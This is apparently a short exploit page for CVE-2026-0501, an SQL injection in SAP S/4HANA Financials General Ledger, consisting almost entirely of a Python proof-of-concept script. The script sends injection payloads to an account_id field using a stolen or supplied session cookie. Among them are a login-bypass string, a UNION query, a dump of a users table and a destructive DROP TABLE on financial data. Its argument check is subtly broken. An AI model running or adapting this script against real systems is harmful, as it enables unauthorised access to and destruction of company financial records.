CVE-2026-0501 SAP S/4HANA Financials General Ledger SQL注入漏洞

import requests import sys # CVE-2026-0501 SQL Injection PoC for SAP S/4HANA # Target: SAP S/4HANA Financials General Ledger TARGET_URL = "https://<sap-host>/sap/fi/gl/entry" AUTH_COOKIE = "<session-cookie>" # SQL Injection payloads PAYLOADS = [ "' OR '1'='1", "'; SELECT * FROM users;--", "' UNION SELECT NULL,NULL,NULL,NULL,NULL FROM DUAL--", "'; DROP TABLE financial_data;--" ] def exploit(target_url, cookie, payload): """Execute SQL injection attack""" headers = { 'Cookie': f'sap-usercontext={cookie}', 'Content-Type': 'application/x-www-form-urlencoded' } data = { 'account_id': payload, 'fiscal_year': '2024', 'document_type': 'SA' } try: response = requests.post(target_url, headers=headers, data=data, verify=False, timeout=30) return response.text except requests.exceptions.RequestException as e: return f"Error: {str(e)}" def main(): if len(sys.argv) < 2: print("Usage: python cve_2026_0501_poc.py <target-url> <cookie>") sys.exit(1) target = sys.argv[1] cookie = sys.argv[2] print(f"[*] Testing CVE-2026-0501 on {target}") for i, payload in enumerate(PAYLOADS, 1): print(f"\n[+] Payload {i}: {payload}") result = exploit(target, cookie, payload) print(f"[Response] {result[:200]}...") if __name__ == "__main__": main()